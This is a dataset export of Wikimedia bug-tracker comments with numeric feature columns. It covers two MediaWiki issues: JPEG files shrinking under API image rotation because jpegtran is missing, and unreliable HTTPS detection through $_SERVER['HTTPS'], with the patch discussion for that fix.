--------------------------
**Version**: 1.21.x
**Severity**: normal
**See Also**:
URL
URL"
210324,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #1)
> we bother to rotate the file properly in order to help our reusers
This is not really true. Wikimedia's Wikis respect the Exif-Orientation tags set by digital cameras and if you download a picture, or just request the original through clicking on the file at the file description page, you get them in the wrong orientation despite the thumbnail looks fine.

In any case, if the reuser is a professional they know what they have to do; if they aren't it isn't that important that they get the original file (they can save thumbs). Note Bug 31366 about this issue.",,,1364252074,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,1.0,0.0,0.0,0.0,2.5,6.0,1.0,0.0,0.0,2.5,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,2.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,3.0,6.0,4.0,1.0,9.0,0.0,0.0,0.0,0.5,3.5,0.0,1.5,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,3.8421052631578947,0.8245614035087718,"(In reply to comment #1)
QUOTE
This is not really true. Wikimedia's Wikis respect the Exif-Orientation tags set by digital cameras and if you download a picture, or just request the original through clicking on the file at the file description page, you get them in the wrong orientation despite the thumbnail looks fine.

In any case, if the reuser is a professional they know what they have to do; if they aren't it isn't that important that they get the original file (they can save thumbs). Note Bug 31366 about this issue."
210319,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #7)
> I've filed a request to get jpegtran installed on app servers in RT:
> 
> https://rt.wikimedia.org/Ticket/Display.html?id=4821
> 
> Someone should poke ops people IRL or on IRC to make sure it doesn't fall
> through the cracks...

And I suspect the problem is that the API apaches are doing the rotation, but they won't have libjpeg-turbo-progs etc

Maybe we could just disable the api module on the cluster for now....",,,1364247856,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,18.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.467741935483871,0.7419354838709677,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And I suspect the problem is that the API apaches are doing the rotation, but they won't have libjpeg-turbo-progs etc

Maybe we could just disable the api module on the cluster for now...."
210313,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"The fact that the file size is smaller, doesn't necessarily mean that it has a loss of quality. The program rotating the image may do some optimization of it, although I agree that it's odd that it's always smaller.

On Windows I use a program called IrfanView which has some options labeled as ""JPG Lossless rotation"" which also changes the file size.",,,1364247628,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,3.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,1.0,5.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,12.0,7.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,3.0,0.0,8.0,0.0,3.0,3.0,0.0,1.0,3.0,0.0,0.0,4.0,0.6712328767123288,"The fact that the file size is smaller, doesn't necessarily mean that it has a loss of quality. The program rotating the image may do some optimization of it, although I agree that it's odd that it's always smaller.

On Windows I use a program called IrfanView which has some options labeled as ""JPG Lossless rotation"" which also changes the file size."
210304,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"https://gerrit.wikimedia.org/r/#/c/52707/

^ It was merged 4 days ago...",,,1364247566,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"URL

^ It was merged 4 days ago..."
210299,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"I've filed a request to get jpegtran installed on app servers in RT:

https://rt.wikimedia.org/Ticket/Display.html?id=4821

Someone should poke ops people IRL or on IRC to make sure it doesn't fall through the cracks...",,,1364247455,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,16.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.710526315789474,0.9210526315789473,"I've filed a request to get jpegtran installed on app servers in RT:

URL

Someone should poke ops people IRL or on IRC to make sure it doesn't fall through the cracks..."
210293,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"Ok I'll withhold my comments about whether this API method is a good idea or not... ;)

But the reason it's not lossless on JPEGs on the live cluster is most likely because 'jpegtran' is not installed on the application servers, so it's falling back to ImageMagick or some such.",,,1364247145,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,2.0,0.0,0.0,2.0,5.0,7.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,10.0,5.0,5.0,10.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,7.0,14.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.8983050847457625,0.7966101694915254,"Ok I'll withhold my comments about whether this API method is a good idea or not... ;)

But the reason it's not lossless on JPEGs on the live cluster is most likely because 'jpegtran' is not installed on the application servers, so it's falling back to ImageMagick or some such."
210287,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"(In reply to comment #2)
> Where did the rotated images come from (eg, what tool did you use?)

That was my first question as well. :-)  It required re-reading the bug summary to figure out that Rainer really did mean the MediaWiki API (cf. <https://commons.wikimedia.org/w/api.php>; grep ""action=imagerotate"").",,,1364246992,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,2.0,0.0,6.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,3.339622641509434,0.8679245283018868,"(In reply to comment #2)
QUOTE

That was my first question as well. :-)  It required re-reading the bug summary to figure out that Rainer really did mean the MediaWiki API (cf. <URL grep ""action=imagerotate"")."
210282,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,Urrrrrggghghghllllllllll,,,1364246772,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,Urrrrrggghghghllllllllll
210275,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,I believe this relates to https://gerrit.wikimedia.org/r/#/c/44005/,,,1364246631,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I believe this relates to URL
210270,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"Where did the rotated images come from (eg, what tool did you use?)

AFAIK there's nothing built-in to MediaWiki that's designed to perform lossless rotation and then upload the result, so there's something non-default going on.",,,1364245795,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,10.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,6.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,3.88,0.84,"Where did the rotated images come from (eg, what tool did you use?)

AFAIK there's nothing built-in to MediaWiki that's designed to perform lossless rotation and then upload the result, so there's something non-default going on."
210263,File size shrinks during rotation (action: 'imagerotate') // Rotation not lossless?,"AFAIK we bother to rotate the file properly in order to help our reusers who viewers may or may not support EXIF rotation. The problem of 360 degree rotation altering the file still stands, of course.",,,1364245471,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-n43webutsmwcx4hychhq,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.230769230769231,0.8205128205128205,"AFAIK we bother to rotate the file properly in order to help our reusers who viewers may or may not support EXIF rotation. The problem of 360 degree rotation altering the file still stands, of course."
48511,HTTPS detection is not reliable,"**Author:** `jskarvad`

**Description:**
HTTPS detection is not reliable. It uses $_SERVER['HTTPS'] == 'on', but according to PHP docs [1]:

> 'HTTPS' Set to a non-empty value if the script was queried through the HTTPS protocol.

This maybe problem e.g. when mediawiki is running on Amazon cloud through HTTPS, their load balancer sets the HTTPS to '1'.

Also the detection code suppose the HTTPS to be SSL on port 443, but IMHO it can be also TLS on port 80 and injecting the explicit port in this case also breaks things for me (Amazon/HTTPS/Firefox). Attached is the fix for mediawiki 1.16. It seems that the latest mediawiki 1.20.3 is also affected, but the code is slightly different there.

This problem results in e.g. inability to save the user preferences.

[1] http://php.net/manual/en/reserved.variables.server.php

--------------------------
**Version**: 1.21.x
**Severity**: normal",Medium,50.0,1364143920,1538259526.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-7ldaahpp3qkur3swavmi,task_description,resolved,True,c2,1,False,False,False,-23,True,0.0,0.0,0.0,0.5,0.5,2.5,1.5,0.0,0.0,0.0,2.0,2.5,0.0,0.5,0.0,0.5,0.0,6.0,7.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.5,0.5,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.5,14.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.5,13.5,1.0,2.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,0.0,2.5,7.5,8.0,0.0,2.5,0.0,2.5,0.0,0.5,0.0,0.5,1.5,0.0,0.5,1.5,3.629213483146067,0.6685393258426966,"**Author:** CODE

**Description:**
HTTPS detection is not reliable. It uses $_SERVER['HTTPS'] == 'on', but according to PHP docs [1]:

QUOTE

This maybe problem e.g. when mediawiki is running on Amazon cloud through HTTPS, their load balancer sets the HTTPS to '1'.

Also the detection code suppose the HTTPS to be SSL on port 443, but IMHO it can be also TLS on port 80 and injecting the explicit port in this case also breaks things for me (Amazon/HTTPS/Firefox). Attached is the fix for mediawiki 1.16. It seems that the latest mediawiki 1.20.3 is also affected, but the code is slightly different there.

This problem results in e.g. inability to save the user preferences.

[1] URL

--------------------------
**Version**: 1.21.x
**Severity**: normal"
1150885,HTTPS detection is not reliable,"I think this is resolved, so I closing this task as resolved. Task assigned to Reedy because he made patch for this task.",,,1538259526,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,265,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8076923076923075,0.7692307692307693,"I think this is resolved, so I closing this task as resolved. Task assigned to Reedy because he made patch for this task."
400680,HTTPS detection is not reliable,"Change 116943 merged by jenkins-bot:
Fix HTTPS protocol detection

[[https://gerrit.wikimedia.org/r/116943]]",,,1421425756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8947368421052633,0.8947368421052632,"Change 116943 merged by jenkins-bot:
Fix HTTPS protocol detection

[[GERRIT_URL]]"
207830,HTTPS detection is not reliable,"Change 132435 abandoned by Reedy:
Fix HTTPS protocol detection

https://gerrit.wikimedia.org/r/132435",,,1399648723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.153846153846154,1.0,"Change 132435 abandoned by Reedy:
Fix HTTPS protocol detection

GERRIT_URL"
207826,HTTPS detection is not reliable,"Change 132435 had a related patch set uploaded by Reedy:
Fix HTTPS protocol detection

https://gerrit.wikimedia.org/r/132435",,,1399648698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,36,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 132435 had a related patch set uploaded by Reedy:
Fix HTTPS protocol detection

GERRIT_URL"
207823,HTTPS detection is not reliable,"(In reply to Gerrit Notification Bot from comment #13)
> Change 116943 had a related patch set uploaded by Yarda:
> Fix HTTPS protocol detection
> 
> https://gerrit.wikimedia.org/r/116943

Awesome, welcome in gerrit and thanks for your first patch; hopefully the first of a long series.

(In reply to Jaroslav Škarvada from comment #14)
> I have no idea who to assign the review, the list
> http://www.mediawiki.org/wiki/Developers/Maintainers wasn't helpful, so
> keeping it as unassigned.

Usually we just assign to whoever submits the patch, but then it's a collaborative effort. I see you already received a review, if after several days everything is still silent please add more reviewers active on those files and related and/or poke someone on IRC.",,,1394226266,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,27,True,1.0,2.0,0.0,0.0,0.0,7.5,1.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,1.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,1.0,11.0,1.0,3.0,4.5,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,4.0,9.0,6.5,0.0,0.0,0.0,4.0,0.0,1.0,2.5,0.0,0.0,1.0,0.0,0.0,3.963636363636364,0.7818181818181817,"(In reply to Gerrit Notification Bot from comment #13)
QUOTE
QUOTE
QUOTE
QUOTE

Awesome, welcome in gerrit and thanks for your first patch; hopefully the first of a long series.

(In reply to Jaroslav Škarvada from comment #14)
QUOTE
QUOTE
QUOTE

Usually we just assign to whoever submits the patch, but then it's a collaborative effort. I see you already received a review, if after several days everything is still silent please add more reviewers active on those files and related and/or poke someone on IRC."
207819,HTTPS detection is not reliable,"**jskarvad** wrote:

I have no idea who to assign the review, the list http://www.mediawiki.org/wiki/Developers/Maintainers wasn't helpful, so keeping it as unassigned.",,,1394018896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,10.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.225806451612903,0.8387096774193549,"**jskarvad** wrote:

I have no idea who to assign the review, the list URL wasn't helpful, so keeping it as unassigned."
207815,HTTPS detection is not reliable,"Change 116943 had a related patch set uploaded by Yarda:
Fix HTTPS protocol detection

https://gerrit.wikimedia.org/r/116943",,,1394018182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 116943 had a related patch set uploaded by Yarda:
Fix HTTPS protocol detection

GERRIT_URL"
207811,HTTPS detection is not reliable,"**jskarvad** wrote:

It seems the problem with the Amazon WS load balancer was already resolved in the GIT, but the issue with the $_SERVER['HTTPS'] seems still to be unresolved.

The problem is that $_SERVER['HTTPS'] == 'on' is used in the MediaWiki for detections of the HTTPS protocol which is not correct according to PHP documentation [1], citing:

---
'HTTPS'
    Set to a non-empty value if the script was queried through the HTTPS protocol.

        Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol. 
---

I also saw implementation where it was set to '1' instead of 'on'. So to be in sync with the PHP documentation I think it should use:
$_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off'
instead of:
$_SERVER['HTTPS'] == 'on'

I will post the patch through Gerrit.

[1] http://www.php.net/manual/en/reserved.variables.server.php",,,1394014633,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,1.6666666666666667,1.6666666666666667,0.0,0.0,0.6666666666666666,2.0,7.333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,4.0,10.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,1.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,11.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,3.3333333333333335,10.333333333333334,2.0,1.3333333333333333,6.0,0.0,0.0,1.0,0.0,3.6666666666666665,0.0,1.0,0.0,2.3333333333333335,10.333333333333334,5.333333333333333,0.0,7.0,0.0,2.3333333333333335,0.0,1.0,0.3333333333333333,0.0,1.0,0.0,0.0,1.6666666666666667,3.3272450532724505,0.6280441400304414,"**jskarvad** wrote:

It seems the problem with the Amazon WS load balancer was already resolved in the GIT, but the issue with the $_SERVER['HTTPS'] seems still to be unresolved.

The problem is that $_SERVER['HTTPS'] == 'on' is used in the MediaWiki for detections of the HTTPS protocol which is not correct according to PHP documentation [1], citing:

---
'HTTPS'
    Set to a non-empty value if the script was queried through the HTTPS protocol.

        Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol. 
---

I also saw implementation where it was set to '1' instead of 'on'. So to be in sync with the PHP documentation I think it should use:
$_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off'
instead of:
$_SERVER['HTTPS'] == 'on'

I will post the patch through Gerrit.

[1] URL"
207805,HTTPS detection is not reliable,"**jskarvad** wrote:

(In reply to Andre Klapper from comment #10)
> (In reply to Jaroslav Škarvada from comment #8)
> > Created attachment 11984 [details]
> > Proposed fix for mediawiki-1.20.3
> 
> Hmm, https://git.wikimedia.org/tree/mediawiki%2Fcore.git does not list any
> ""php"" subfolder in the top level, neither does the 1.19.12 tarball, so it
> cannot be applied and I am not sure which base this patch is against. Can
> you clarify?
> 
I will check the current status and in case the problem is still there I will refresh the patch.

